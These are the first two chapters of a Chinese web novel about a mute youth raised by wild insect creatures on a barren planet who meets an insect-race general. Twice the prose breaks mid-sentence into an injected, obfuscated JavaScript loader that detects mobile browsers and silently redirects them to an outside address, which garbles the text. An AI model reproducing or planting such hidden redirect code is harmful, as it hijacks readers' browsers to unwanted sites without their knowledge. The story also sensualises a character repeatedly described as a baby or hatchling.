《小虫母被全宇宙团宠后》 1. 第 1 章 荒星的夜晚,寒冷到骨髓缝里都疼。 两颗轮廓模糊的定位卫星像悬挂在漆黑幕布上的假月亮,照彻下方大地。 嶙峋怪石如同魔鬼骸骨般,狂风也不知疲倦地咆哮着,卷起粗粝的砂石,抽打着一切,发出可怕的嘶哑的声响。 然而,在这片被遗弃的荒芜之地的腹地,一个由天然中空岩柱巧妙改造而成的洞穴里,却弥漫着与外界截然相反的暖意。 洞穴中央,一小堆篝火正安静地燃烧,偶尔发出“噼啪”的轻响。 阿默尔蜷缩在一堆铺得厚实而柔软的干草上,身上盖着几张鞣制得十分粗糙的厚实兽皮,睡得安宁。 这些干草中午时候被阳光晒过,有种奇特的药草清香。 那是“长爪”细心挑选并熏烤过的,据说能驱赶讨厌的寄生虫,不让阿默尔被咬得浑身是包。 长爪常年生活在这片土地,它有经验,阿默尔很相信它。 跃动的火苗在阿默尔白皙的脸颊上投下温暖而柔和的光影,让他看起来清瘦又温和,像一只刚出生不久的幼崽。 长爪托着下颌,静静地凝视着他。 是的,洞穴里并非只有阿默尔一枚小月亮。 在离他几步远的地方,匍匐着几个巨大而狰狞的身影,守在巢穴的边界。 最靠近他的,是“铁甲”。 它的头颅正对着阿默尔的方向,即便在休息中,也保持着一个守护的姿态。 它看上去很可怕,外形如同一只被放大了千百倍的锹形虫,头部那一对巨大暗红色的上颚,最擅长的是撕裂星际野兽的皮肉。 但此刻,这对危险的上颚却小心翼翼地合拢着,那对由无数个六边形小眼面构成的复眼,静静地注视着篝火后方的少年,这眼神看上去有点呆滞,却也很温柔。 稍远处,就是长爪了。 它的体型更接近一只多节肢的巨蝎,覆盖着粗糙如风化岩石表皮的躯干,一节一节地延伸,还有一条布满尖锐骨刺的长尾本能地盘踞在身边,钩尖很亮,上面涂抹着长爪在野林里精心挑选的毒液,谁碰谁死。 但它正在用几只相对纤细的前肢,极其笨拙地拨弄着篝火中的木柴,试图让火焰燃烧得更均匀,确保热量能稳定地笼罩在熟睡的阿默尔身上。 “嗷…” 长爪愁坏了,他的躯体太庞大,不谨慎一点,就会溅起火星。 弄伤了小虫母幼崽,它会伤心死的。 诶呀,对呀,这是一只小虫母嘛,最可爱的小虫母幼崽哟!是虫族的小月亮来着。 它们都知道! 长爪哀愁地看着洞穴入口。 那里有一座沉默的小山,阿默尔给它起名“小宝”,但是长爪根本就不觉得它哪里值得被称为小宝。 明明小妈咪才是宝宝好不好! 小宝是三虫中体型最为庞大的,外表覆盖着苔藓和碎石,厚重的甲壳就是盾,它将自己宽阔如山岳的背部严严实实地堵在洞口的方向,完美地抵御了寒风。 偶尔有特别刁钻的气流从难以察觉的缝隙钻入,引得火苗不安地摇曳一下,小宝就不满地“咕噜”一声,然后微微挪动一下笨重身躯,将漏风缝隙也彻底堵死。 小宝也很爱很爱小虫母啦。 这时候,阿默尔在睡梦中轻轻动了一下,发出一声模糊而柔软的气鼻音,似乎是觉得肩颈处有点漏风,无意识地将身体蜷缩得更紧。 几乎就在他动弹的瞬间。 “咔!” 铁甲合拢的上颚极轻微地开合了一下,巨大的复眼瞬间聚焦在少年身上。 长爪心不在焉拨弄火堆的前肢骤然停滞,小宝则微微侧过了头颅,小而明亮的眼睛警惕地扫视过阿默尔全身。 “……” 不敢呼吸,完全不敢呼吸。 直到三虫确认小虫母幼崽只是无意识的梦呓动作,并未醒来,也没有不适后,才松了一口气,重新各司其职。 又过了不知多久,阿默尔长长的睫毛颤动了几下,终于悠悠转醒。 他先是有些迷茫地眨了眨眼,然后抬起纤长的手,揉了揉惺忪的睡眼。 那双完全睁开的灰蓝色眼眸,在篝火的映照下,清澈得像暴风雨过后最纯净的天空,又像是蕴藏着万千星辰的宁静湖泊。 他撑着身子坐起来,厚重的兽皮从单薄的肩头滑落,肩膀很薄,身体也很薄,完全透露出营养不良的孱弱。 阿默尔先是下意识地环顾四周,好在三个熟悉的身影陪在他身边,一抹安心的浅浅笑容在他唇角轻轻绽放开来。 在虫族们心里,小妈咪的笑容纯净而温暖,足以融化荒星的一切严寒。 三只德亚加虫小小的眼睛盯紧着漂亮的少年,在他抬手的瞬间,笨笨地凑过去。 虫母幼崽是捡回来,长得昳丽,肤白耀眼,清清爽爽又夺目,可惜不会说话。 但他的眼睛和动作,就是最美的语言。 它们经过一段时间的磨合后,懂了他许多说不出口的请求。 然后,小虫母伸出苍白而柔软的手,轻轻拍了拍铁甲主动探过来的大颚侧面,灰蓝色的眼眸弯成了月牙,俊丽的脸颊笑眯眯的,“……” 铁甲足以夹碎岩石的庞大身躯僵硬了一下,无机质的复眼里瞬间就被柔软的情绪填满了。 这种温柔对虫族而言是多么陌生啊! 铁甲很珍惜漂亮妈咪的疼爱,它极其缓慢地,小心翼翼地,用自己上颚最平滑最不易伤幼崽的内侧,轻轻地、轻轻地蹭了蹭阿默尔柔嫩的手心。 然后整只巨虫蜷缩成一小团,趴伏在小虫母脚边。 篝火显然是长爪烧的,阿默尔看向长爪,对着那堆燃烧得正旺的篝火,用力地点了点头,然后伸出大拇指,对着长爪做了一个“很棒”的手势。 长爪高兴坏了:“嗷~” 长爪多节的躯体顿时害羞地扭动了一下,发出窸窸窣窣的声响,淬毒的尾钩更是“嗖”地一下藏到了身后,仿佛做了什么不好意思的事情一样。 不想让小虫母碰到尾巴,怕毒坏了小月亮。 阿默尔站起身,在长爪的帮扶下,赤着脚踩在铺着软草的温暖地面上,走到如同山岳般的小宝身边。 小宝,他最沉默的小宝。 小妈咪轻轻摸了摸小宝的甲壳,小宝立刻发出一连串更加响亮悠长的满足咕噜声,声音浑厚而踏实,仿佛连洞穴的地面都在微微共振。 它整个庞大如山的身躯,都因为这轻柔的抚摸而彻底放松下来,散发出被完全信赖的愉悦。 阿默尔抱着小宝的脑袋瓜,拍了拍,像拍西瓜。 小宝一直都很乖哦。 阿默尔用力抱住它的长颈,用脸颊去贴它的外骨骼甲,蹭了蹭。 小宝也眯着眼睛,享受小妈咪给的温柔。 没错,这就是阿默尔目前的生活,平静而惬意。 他天生是哑巴,能听到,能看到,却不能说话,没有人愿意领养他。 据说,他是实验室淘汰出来的废弃品,阿默尔倒是也认可这个说法,他对于十八岁之前的记忆是空白的,只记得培养皿湛蓝的营养液体,他就在那里浸泡着长大。 对于世界的规则和道理,阿默尔都是从书上学习到的,没有人和他说话,也没有伙伴陪他玩闹。 被孤儿院的飞船遗弃在这颗星球上时,他知道,这叫做“抛弃。” 其实,是有些孤单的。 那时候,荒星气候寒冷,阿默尔被寒冷的气候冻伤了,昏厥之后,他被这些恐怖的生物捡回了山洞里,第一次看清它们的容貌时,阿默尔吓到了。 它们居然是被星际文明视为灾厄的野生虫族,阿默尔曾经在图书室里看过科普读物,这些虫族和人类生活在不同的星球,食谱与人类并不互通,但是食肉。 阿默尔以为自己会被吃掉,但是它们没有把他当成食物,反而给了他一个遮风挡雨的巢穴。 阿默尔一开始还很害怕它们,但是这些天,他发现它们是一群还不错的大家伙。 它们会将狩猎到的猎物最鲜嫩,最富营养的部分留给他,自己啃食坚硬的外壳和筋骨。 还会用粗糙的肢体为他试探水温,将他带到安全的饮水点。 阿默尔觉得它们把自己当成了虫族幼崽一类的生物,非常呵护照顾他。 虽然他不会说话,它们也只能发出简单的嘶鸣和咕噜声,但阿默尔看着跳跃的火焰,和火焰旁沉默守护的庞大身影,心里被一种陌生的暖意填满了。 在这里,他和从前一样孤身一人,却拥有了全世界最坚固的堡垒,和最笨拙却最真诚的家人。 他过得很幸福,很幸福。 阿默尔趴在小宝身上昏昏欲睡,余光中却看到远处灰暗的天空,似乎被什么东西遮蔽了。 他走到洞口,向外看去。 那不是乌云,是浩浩荡荡的星舰队伍,正以无可阻挡的姿态,缓缓降临在荒星的边缘。 阿默尔慢吞吞地拍了拍小宝,示意它往里面睡一点,外面有点危险喔。 “呜呜。”阿默尔轻声说,晃了晃手指,目光警告。 那是一个制止的动作。 小宝看懂,乖乖又笨笨地往里挪了挪屁股。 * 沉重的引擎轰鸣像敲打在平原上的重低音,彻底盖过了荒星的风嚎。 上百艘线条硬朗的星舰撕裂铅灰色云层,缓缓降落在远方的地平线上,船身的金属涂装是哑光的深灰色,掠过天际时极具压迫感,而后,缓缓降落在标记点。 舱门一开,一队队装备精良的雄虫士兵迅速涌出,列队。 是帝国八大军团之首的暴风团。 帝国采取内阁成员议政、军部统帅领衔各军团采取领地自治的政策,因此,暴风团不听命于任何虫,只听命于元帅与艾凛上将。 副官威隆向队伍前方最高大的身影报告。 “上将,已经到达卫星坐标点,这是帝国记录里最后一个没有交流基站的星球了,归属于我们暴风团的领域里,等待开发。” 艾凛转过身,背后迅速收敛膜翅,额侧纤细的触角轻晃,下颌线紧绷,一双瞳孔是冷峻的钴蓝色。 “开始吧,按计划执行开发计划,确保信号全覆盖,这片星域不能有盲区。” “我们失去虫母太久,整个族群都像缺了锚的船,必须尽快是建立每一个可能的连接点,搜寻任何能带来虫母消息的信号。” 上将是蛾种,话语简洁是天性。 但副官注意到,他提到虫母时,那双触角缓慢地蜷曲了一下。 应该是心痛吧? 威隆心里也是一痛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219195|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是的,上将,我尽快去办。” 不论是分裂后的帝国还是联盟,他们这群虫族失去虫母太久太久,久到那股钝痛常年弥漫心间,很难分清是哪里疼痛。 因为疼痛不休,爱却不止。 威隆冷静片刻,给自己打气! “要胜利回到首都星去啊,我堆满了一冰箱的蜂蜜会变质的!虽然没有传说中妈咪的蜜甜,但一点点蜂蜜就够我这个小蛾种开心快乐一整年!” 然后威可怜的隆亲自拿起终端吩咐下去,亲自带领工虫开始打点施工器材去了。 艾凛观察了一下周边的边界,低头打算展开图纸,看看今天要做什么准备工作。 突然一阵猛烈的风雪吹来,他动作一顿,鼻尖轻嗅,敏锐地转头,感知到了异常—— 风中夹杂着一丝与荒星格格不入的微弱暖意,以及几种混乱但确凿无疑的德亚加虫族精神波动,其中三股尤其狂野。 他抬手止住准备打探情况队伍,独自飞向风雪深处。 很快,他发现了那个被伪装起来的洞穴,也感知到了洞口如同磐石般的防御性精神壁垒,以及内部另外三股充满攻击性的波动,还有……一丝孱弱的,却异常纯净温暖的气息。 德亚加是虫族未开化的野生虫族分支,智力偏低,极度排外,护巢本能极强,尤其是对待幼虫或是虫母。 它们通常对高等虫族没有敌意,但受惊后攻击性会飙升到顶点,很麻烦。 艾凛不想刺激它们,决定先用精神力进行最谨慎的接触。 无形但强大的精神力量开始从他身上蔓延出来,冷静而克制地探向洞穴,试图传递自己和军队是无害的。 阿默尔趴在洞口的缝隙里看到了这一切,心里有恐惧。 这个“人”应该不是人类,尽管他的身形挺拔高大,身躯覆盖着银灰色制服,面容轮廓深邃俊美,像极了杂志周刊上的人类。 但,能出现在虫族的,一定是虫族。 一看到他,铁甲和长爪瞬间发出威胁的低吼,小宝的身体也绷得像石头。 在阿默尔的经验里,这对方的下一步就是攻击,像在孤儿院,那些欺负他的人围上来之前一样。 阿默尔不想失去这个家。 艾凛催动了精神力。 可是,就在艾凛的精神力即将触碰到其中一只德亚加虫的刹那,一个单薄的身影猛地从山洞里冲出来,踉跄着跪倒在洞口的雪地里。 艾凛紧急收回了精神力,发现那是一只很小很小的幼年虫族。 艾凛:? 阿默尔只穿着单薄的衣服,赤脚踩在冰冷的雪上,冻得浑身发抖,但他仰起苍白的脸,灰蓝色的眼睛里满是泪水。 他对着艾凛,双手合十,拼命地摇晃,眼泪不断线地往下掉。 他发不出声音,只能从喉咙里挤出破碎哀求的呜咽,他想说,求求你,别伤害他们。 艾凛彻底怔住了。 幼虫?为什么这里会有幼虫? ……难道德亚加虫族在保护他? 看着少年跪在雪地里,冻得嘴唇发紫,哭得浑身颤抖的模样,艾凛早就一片心死的脏器室里,冷不丁地簇动又簇动。 他上前几步,但在一个安全距离外停下,缓缓蹲下,让自己与少年视线平齐。 他压低声音,尽量让声线显得柔和:“小宝宝,你听着,我没有恶意,我不会伤害你,也不会动你的……同伴。” 一个身量纤细的小少年和那群德亚加虫族比,可不是小宝宝么! 艾凛看向阿默尔身后那几只因少年的举动而焦躁不安的德亚加虫,又重新看向阿默尔,伸出带着漆皮手套的手,低声说:“你不该待在这里,这星球环境恶劣,跟我走,我会确保你的安全。” 阿默尔止住哭泣,抬起泪眼望着艾凛。 他看懂了对方眼中的认真,也感觉到了话语里的诚意。 但他用力地,非常坚决地摇了摇头。 他回身指着那个温暖的山洞,又指了指守在那里的铁甲、长爪和小宝,然后歪着脑袋,闭起眼睛,环抱着自己的肩膀,像是晃摇篮一样晃了晃腰。 艾凛看了看那三只虽然狰狞却明显以守护姿态对着少年的德亚加虫,缓缓收回手,站起身,恢复了那副冷峻的模样。 “我明白了,这是你的选择,你想和他们待在一起,对吗?” 阿默尔轻轻点头。 艾凛也就没有再试图沟通或靠近,而是轻晃触须,让一股强大而温和的精神力量如同无形的屏障,迅速而轻柔地笼罩了整个山洞区域。 他确保这股力量能隔绝外界的风雪和刺探,也能安抚了洞内虫族的躁动,不让那群德亚加虫临时反性,伤了小宝宝。 做完这一切,艾凛最后看了阿默尔一眼,很想把他带走。但是…… 他想尊重小宝宝的意见。 艾凛上将利落地转身,飞入风雪,向基地的方向,银灰色的身影很快与铅灰色的天地融为一体。 阿默尔还跪坐在雪地里,直到小宝用鼻子把他轻轻拱回山洞。 他趴在缝隙后,望着外面依旧纷飞的大雪和远处的灯光。 这个虫族看起来很冷,很凶,但他没有伤害他们,还留下了这层温暖的保护罩。 阿默尔就这样对这个世界有了一点点好奇。 2. 第 2 章 艾凛留下的精神屏障强悍地保护着洞穴,将洞穴内外分割成两个截然不同的世界。 阿默尔很安心。 外界风雪肆虐,洞内却始终维持着叫人心安的温度,阿默尔逐渐适应了温暖的巢穴,他还能通过屏障光幕上柔和的波纹流转,感知到外界是白昼还是黑夜。 黑夜哦。 这一夜好眠。 清晨的觅食由铁甲和长爪负责,这也是昨天商议好的,它们仨每天轮换,今天轮到小宝休息。 直到一缕薄青的天光透过屏障映亮洞口,两只巨虫才懒洋洋地起身,外出给小妈咪找食吃。 它们不觉得有什么。 哪怕是强大可怕的德亚加虫族,也会将一颗心系于稚嫩柔软的妈咪身上,毕竟,它们的世界原本只有弱肉强食与冰冷的杀戮,直到小虫母的到来,才真正有了活着的意义。 但是小虫母还没醒啊。 铁甲将最锋利的肢节收起,将坚硬的甲壳软化,迈步时连最轻微的震动都小心翼翼,生怕惊扰了妈咪的睡眠。 然后,它用那对可怕的上颚,极其轻柔地将阿默尔肩头滑落的兽皮重新掖好,确保小妈咪的每一寸肌肤都被包裹严实,只留一张睡得红扑扑的脸在外面。 “……” 铁甲的小眼睛眨了眨。 好可爱的小妈咪,像软糯的团子一样可口香甜,好想吃……舔一口也好…… 尽管小妈咪可能还不完全明白,“妈咪”这个词在虫族基因深处意味着多么沉重的依赖与近乎疯狂的崇拜,但是,他的气息干净、柔软,像初生星系的第一缕光,对它们这群在黑暗中征战的怪物而言,是唯一能触及的温暖与安宁。 这就足够了。 比起满脑袋都是妈咪的铁甲,长爪考虑得更周全。 它检查了一下昨夜剩余的食水,然后用尾尖勾起一张更大的兽皮,驼在背上,准备用来包裹带回的新鲜猎物给小虫母吃。 小虫母还很幼小,是很稚嫩的年纪,不要说什么生不生虫蛋的事,那有点太早。 它们也不需要他立刻成长为一位真正的“母亲”,它们只想要他健康快乐地生活在它们的巢穴里,任何可能让他感到一丝不安或困扰的念头,都会被它们在自己内部彻底扼杀。 然后铁甲和长爪一步三回头地离开了山洞。 它们离开后,小宝默默挪动身躯,堵住外面的寒风,继续陪伴着熟睡的小妈咪。 午后,阿默尔醒来就吃到了午餐。 他坐在暖烘烘的干草垫上,慢悠悠吃着铁甲它们带回来的最嫩滑的烤肉条和清甜的浆果。 他吃东西很慢,苍白的脸颊随着食物的暖意泛起浅浅红晕,心情很好。 德亚加虫很会看眼色。 小虫母不会说话,它们就上前索求安抚。 铁甲庞大的身躯低伏下来,几乎贴附在地面,以确保自己不会给虫母带来任何压迫感,然后把小臂处的镰刀骨被紧紧收在背后,探出了那颗与身躯相比略显小巧的头颅。 妈咪…… 它伸出分叉的舌尖,柔软、温热,一点一点地舔过小虫母幼崽的脸颊,生怕自己坚硬的颚骨会不小心碰疼他。 小虫母没有表达任何不喜欢的意思。 铁甲放心了,它仔细地舔去他眼尾的长睫毛,然后是软嘟嘟的脸蛋,嘬了一口。 好香! “……唔!”小虫母发出了一声极轻的气音,拍了拍铁甲的脑袋,但是并没有苛责,而是轻轻抚摸铁甲粗糙坚固的头部甲壳,重点关照了那些战斗留下的伤痕。 这倒像是一个允许亲近的许可? 长爪上前,它没有铁甲那样灵活的长舌,但它口器旁更为细小的触须轻轻贴上了小虫母裸露的小腿。 那些触须像是最柔软的毛刷,一遍遍梳理着他腿部的肌肤,然后是软韧的腰,修长的脖颈,最后它还为阿默尔梳理头发,很是认真,生怕扯痛了一根发丝。 小妈咪仰着脸给它舔,被舔到痒的地方,还会笑。 长爪觉得自己比铁甲那个蠢货会照顾妈咪多了。 最细心的还得是小宝。 它一下一下地舔舐阿默尔裸露的脚踝和脚趾,舌头的触感粗糙而温热,阿默尔忍不住蜷缩脚趾。 “……唔。” 后来他渐渐习惯了,享受起这种独特的清洁方式,就好像被大型萌宠依赖着。 他抬起手臂,环抱住小宝凑过来的脑袋,尽管他纤细的臂膀根本无法环抱周全,这个动作却引来小宝一阵愉悦的嘶鸣。 被德亚加虫族们温暖、湿润而轻柔的触感全方位地包围,阿默尔的身体彻底放松下来,软软地陷在巢穴中。 但是他又感觉疲惫,虽然并没有做什么,但还是感觉被索取了一番,体力和精力都被榨干了。 他的呼吸变得悠长而平稳,睡熟过去。 德亚加虫们面面相觑。 妈咪的身体似乎还未能完全适应荒星的环境,或者说,虫母的体质本就如此,很容易感到疲倦。 妈咪刚刚开始发育,再等一等,虫母的气息就无法掩藏了,等到那时候,妈咪就会知道他到底是怎样的一个宝贝。 它们并未立刻离开,只是静静地围拢着,守护着整个族群最脆弱也最璀璨的黎明。 阿默尔纤瘦的身体就在这些庞大、狰狞却温柔无比的巨虫中间,被呵护着,被需要着,被原始而纯粹的爱意包围。 这种被视若生命的珍重,让他渐渐少了不安。 小宝不知从何处为他寻来了巨大的蛋壳,还把内部铺满了最柔软的绒毛和干草。 它小心地叼着阿默尔的衣角,把他放进了蛋壳里,一下一下地摇晃着摇篮。 铁甲也在忙,在用猎物的柔软纤维编织一条舒适的毛毯,复眼紧紧盯着逐渐复杂的纹理,研究勾织技术烧掉了它不少脑细胞。 它本来就很笨,这下子可能更笨了。 一直到夜色渐深,阿默尔在摇篮里蜷缩成一小团,呼吸均匀绵长。 篝火的光芒在他安静美好的睡颜上跳跃,三只巨虫守在一旁,洞内只有火焰噼啪声和它们沉稳的呼吸。 长爪看着熟睡的阿默尔,又望向洞口外那片在月光下泛着微光的蓝色花丛—— 小虫母前几天凝视那个方向时,灰蓝色的眼睛里闪烁的好奇与喜爱,像最温暖的印记,刻在了它简单的思维核心。 一个念头在它简单的思维里形成。 它想为小妈咪摘回那些花。 它悄无声息地滑出洞穴,多节身躯在嶙峋怪石间无声潜行,没入寒冷的夜色。 避开基地巡逻路线费了些功夫,长爪凭借野生虫族对地形的天生敏锐,如同阴影般滑行,终于,那片蓝色的花丛出现在眼前。 长爪谨慎地靠近,致命的毒尾此刻收敛了所有锋芒,几只前肢极其轻柔地拨开花丛旁的碎石,用相对纤细的颚部,小心翼翼地挑选着最饱满洁净的花朵。 一朵,又一朵,动作轻柔,它摘的时候,满脑子都是小妈咪开心的笑容。 这朵好看……嘿嘿,那朵也好看……妈咪会喜欢的吧? 然而,就在它成功采集到几株,正准备撤离时,一队装备精良的巡逻士兵恰好经过附近。 高强度探照灯猛地扫过! “警报!发现德亚加虫族!”士兵的厉喝在通讯频道炸响。 长爪瞬间暴露在强光下! 它护住怀中的花朵,本能地发出威胁性的嘶鸣,多节躯体弓起,毒尾扬起,进入防御姿态。 “开火!是野生德亚加!危险等级高!” 训练有素的士兵没有犹豫,数道灼热的能量光束瞬间射出! 长爪虽然敏捷,但为了保护怀中的花,动作慢了半拍。 一道光束擦过它的侧腹,甲壳瞬间焦黑破裂,发出刺鼻的气味。 另一道则精准地击中了它一只负责灵活行动的前肢关节处,剧痛传来,那只前肢立刻软塌下去,行动能力大减。 它发出一声混合着痛苦与愤怒的咆哮,不再恋战,拖着受伤的身躯,凭借着对地形的熟悉,猛地向巢穴方向窜去,速度快得只剩一道残影。 “它受伤了!追击!” 士兵小队立刻组成战术队形,准备追剿,然而,上将的声音通过主机直接传入所有士兵终端—— “全部住手,停止追击。” “上将,那是极具攻击性的野生虫族!”威隆试图解释,“不杀了它们,它们会吃掉领地里的所有物种!” “它只是来摘花,没有伤害到士兵。”艾凛缓缓降落,走到那几株被践踏的花旁,蹲下身,戴着漆皮手套的手指轻轻拂去花瓣上的污泥和雪粒。 他的指尖停顿了一下,脑海中瞬间闪过洞穴里,那个少年纤细单薄的身影,还有他的眼泪。 “它们在保护重要的东西。” 艾凛的声音低沉下去,“我们的任务是建立通讯,不是清剿土著生物。” 他站起身,目光再次投向洞穴的方向,风雪模糊了他的视线,但他的精神力能清晰感知到,洞穴附近那道由他设下的屏障依然稳固,而屏障内,那股微弱却纯净温暖的气息,正因为外面的骚动而不安。 艾凛的心脏有些难过,不知道为什么。 他只想转身离开,“威隆,通知下去,清理现场,加强警戒范围,没有我的命令,任何人不准靠近那个洞穴五公里内,更不准主动攻击那三只德亚加虫。违令者,军法处置!” “是,上将!” 士兵们虽心存疑惑,但军令如山,迅速执行。 艾凛看着长爪消失的方向,唇角抿紧。 他放任一只具有潜在威胁的野生虫族回到那个藏着少年的洞穴附近,这个决定是否正确? 那个少年,与这些野蛮的德亚加虫,究竟是怎么回事? 他需要更多的观察,更谨慎的行动,任何可能伤害到那股纯净气息的可能性,都必须被排除。 即使,这意味着要暂时容忍这些未开化的野兽在暴风团的领地里撒野,这违背了他一贯高效铁血的作风。 但少年无疑是这颗荒芜星球里,唯一的一抹颜色。 * 而此刻,长爪正拖着剧痛的身躯,凭借着顽强的意志和对妈咪的执念,拼命向洞穴爬去。 鲜血从伤口渗出,在洁白的雪地上留下断断续续的痕迹,它唯一的念头,就是要把怀里那几株被它用身体保护着的蓝色小花,带回给它的小妈咪。 洞穴那边。 夜深了,长爪还未归来。 铁甲显得有些焦躁,小宝堵在洞口的身影也很是不安。 阿默尔在原地打转,趴在洞口一直地看。 全都是风雪,什么都看不见。 突然,艾凛留下的精神屏障外传来一阵能量波动和隐约的呵斥声。 紧接着,是长爪痛苦而压抑的嘶鸣! 一道黑影踉跄着冲破屏障,重重摔在洞口附近—— 是长爪! 它身上带着几处明显的灼伤和撕裂伤,最严重的是它的一只前肢,以一种不自然的角度弯曲着,但它的毒尾却紧紧卷着,保护着几株完好无损的小花,在黑暗中散发着幽幽蓝光,十分惹眼美丽。 铁甲瞬间立起,发出威胁的低吼,冲向洞口。 小宝也发出沉闷的怒吼,身躯膨胀,准备迎接可能的攻击。 然而,屏障外并未出现追击者。 长爪爬进来,艰难地抬起头,将护在尾下的花朵轻轻放在阿默尔脚边,然后便脱力地瘫倒在地,伤口处散发出焦糊和血腥的气息。 阿默尔甚至来不及害怕,他心疼又担忧,踉跄着扑到长爪身边,手指颤抖着,悬在那些可怖的伤口上方,却不敢触碰。 他不能失去长爪,不能失去这个虽然危险却给了他无尽温暖的“家人”。 阿默尔徒劳地用手去捂长爪流血的伤口,可那些温热的液体还是不断从他指缝间渗出,将他苍白的手染得一片莹绿。 他抬起头,无措的眼神跟着铁甲和小宝的视线,突然,他望向了洞口。 是他,是那个没有伤害他们的虫族? 阿默尔猛地站了起来,跑向洞口。 是艾凛上将来了。 他遍布疏风绒层的宽大蛾翅悬浮在屏障之外的风雪中,银灰色的身影几乎与昏暗的天色融为一体,但钴蓝色的眼眸却穿透屏障,看到了洞内发生的一切。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219196|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他看到那个少年像一只受惊的幼崽,无助地跪在受伤的巨虫身边,伤心得浑身颤抖,单薄的身影在庞大的虫族衬托下,仿佛下一秒就要被受伤的德亚加虫吞吃果腹。 一种陌生的的情绪扰乱了艾凛常年冷漠的心防。 是……不忍,还是,心软? 是心疼吗? 少年一看见他,也不知从哪里涌出的勇气,挣扎着爬起来,赤着脚,踉踉跄跄地冲向洞口! 他拼命地想发出声音,想要求救,用力拍打着岩石,然后又回身指着奄奄一息的长爪,再次转向艾凛。 “呜!”小幼崽眼泪都快掉出来了,还在支支吾吾地哭着。 艾凛的瞳孔微微收缩。 几乎是没有思考,艾凛飞落在洞穴入口处。 铁甲和小宝瞬间进入最高警戒状态,嘶吼和咕噜声更加响亮。 但艾凛根本没有看它们,他走向了阿默尔。 阿默尔看到他突然靠近,下意识地跑到长爪前面,保护着长爪,摇着头,眼尾又湿润起来。 艾凛心里想,好爱哭的小幼崽。 虫族哪里有这样的幼崽啊? “嗷……” 长爪奄奄一息,痛苦地哀嚎着,它并不是感觉到痛,它只是不想小妈咪为了它陷入危险,也不想要妈咪为了它哭泣。 不值得的,虫不值得妈咪哭泣。 艾凛深吸一口气,尽量压下心中翻腾的情绪,他低下头,让自己的视线与阿默尔平齐,声音是他自己都未曾察觉的放缓:“别怕,我会救它,你别哭,好不好?” 阿默尔察觉到他并不想伤害它们,立刻点点头,抓住了艾凛军装的银色绶带,双眼溢满感激的情绪。 艾凛的目光落在阿默尔冻得通红的赤足上,眉头紧锁。 这么冷的天…… 他伸出手,动作有些僵硬,但足够小心,缓缓将阿默尔打横抱了起来。 “呜!” 阿默尔惊呼一声,身体瞬间悬空,落入一个不太舒服的坚硬怀抱里。 他的双腿被艾凛的胳膊挤压着并拢,双手下意识搂紧了身上雄虫的脖子,动也不敢动。 雄性虫族的脖子劲直粗犷,看着就很有劲,很可靠,阿默尔用一只手握不住,只能用两只手抱着艾凛的脖子。 “呜呜……”阿默尔小声的呜咽着。 艾凛军装上的金属扣硌得他有些疼,但更强烈的是艾凛身上传来的气息,如同冰雪松木般冷冽又干净,与他熟悉的虫族们温热粗糙的感觉截然不同。 但是也很像个好虫啦。 “呜?”阿默尔小声地,讯问着他的意思。 艾凛隐约猜出了几分意思。 少年要他救它。 少年很轻,轻得超乎艾凛的预料,抱在怀里仿佛没有重量。 隔着单薄的兽皮衣服,他能感受到少年身体过分的柔软,骨头好像刚长成一样单薄,但是肤肉并不冰凉,这说明那群凶悍嗜血的德亚加虫把他照顾得很好,也养的很棒,皮肉细细的,软乎乎的。 怪异的是,小幼崽身上还有一股无法忽视的甜香,如同新鲜花蜜般的暖融融的气息,从阿默尔的颈窝和发丝间幽幽散发出来,丝丝缕缕地萦绕在艾凛的鼻尖。 纯净而稚嫩,像未曾完全绽放的花苞,仿佛诱虫采撷,那样天真无邪,又无比甜软。 “……”艾凛抱着他的手臂不自觉地收紧了些,喉结滚动了一下,他强迫自己移开视线,不去看怀中的幼虫,也不看少年因为惊慌而微微敞开的领口下,一小片细腻得晃眼的肌肤。 “它的伤确实需要处理,你别太担心了。” 艾凛的声音比刚才更低沉沙哑了些,他抱着阿默尔,大步走向重伤的长爪,同时对依旧戒备的铁甲和小宝释放出强大但克制的精神波动:“退开,如果想救它的话。” 铁甲和小宝感受到艾凛身上那股远超它们的精神力,意识到对方是高等虫族。 又看到被艾凛抱在怀里的小虫母幼崽,虽然害怕,却并未受到伤害,它们犹豫了片刻,最终还是低吼着,极其不情愿地缓缓让开了一条路。 阿默尔连忙从艾凛怀抱里跳下来,双膝屈起跪在长爪身边,抓着长爪的触须,温柔地一下一下抚摸着,安慰着他,“呜……呜……” 他一边安慰着长爪,一边很紧张地看着艾凛检查长爪的伤口。 虽然这是个看起来很凶的虫族,但此刻是能帮助长爪的唯一希望。 阿默尔安静下来。 艾凛脱下自己的军装外套,垫在少年的膝盖下和脚下。 然后,他自己半跪在地上,挽起袖子,熟练地用药膏和绷带为长爪处理伤口。 他能感觉到少年不断飘来的香气,这让他一贯冷静的心绪,泛起了一圈圈难以平复的涟漪。 他实在是难以平静下来,这实在是太奇怪了。 包扎好后,他低头,无意间看到少年衣服下摆露出的一小截纤细的脚踝,在寒风中泛着不健康的青白色,一股无名火夹杂着更复杂的情绪涌上心头—— 这些德亚加虫,就是这样照顾幼崽的吗?让他就这样跑出来?! 它们到底是从哪里偷来的幼崽?真的能把小幼崽养好吗? 不会养的话,有虫会养。 艾凛淡淡地把阿默尔的两只脚放在自己怀里。 阿默尔歪了歪脑袋:? 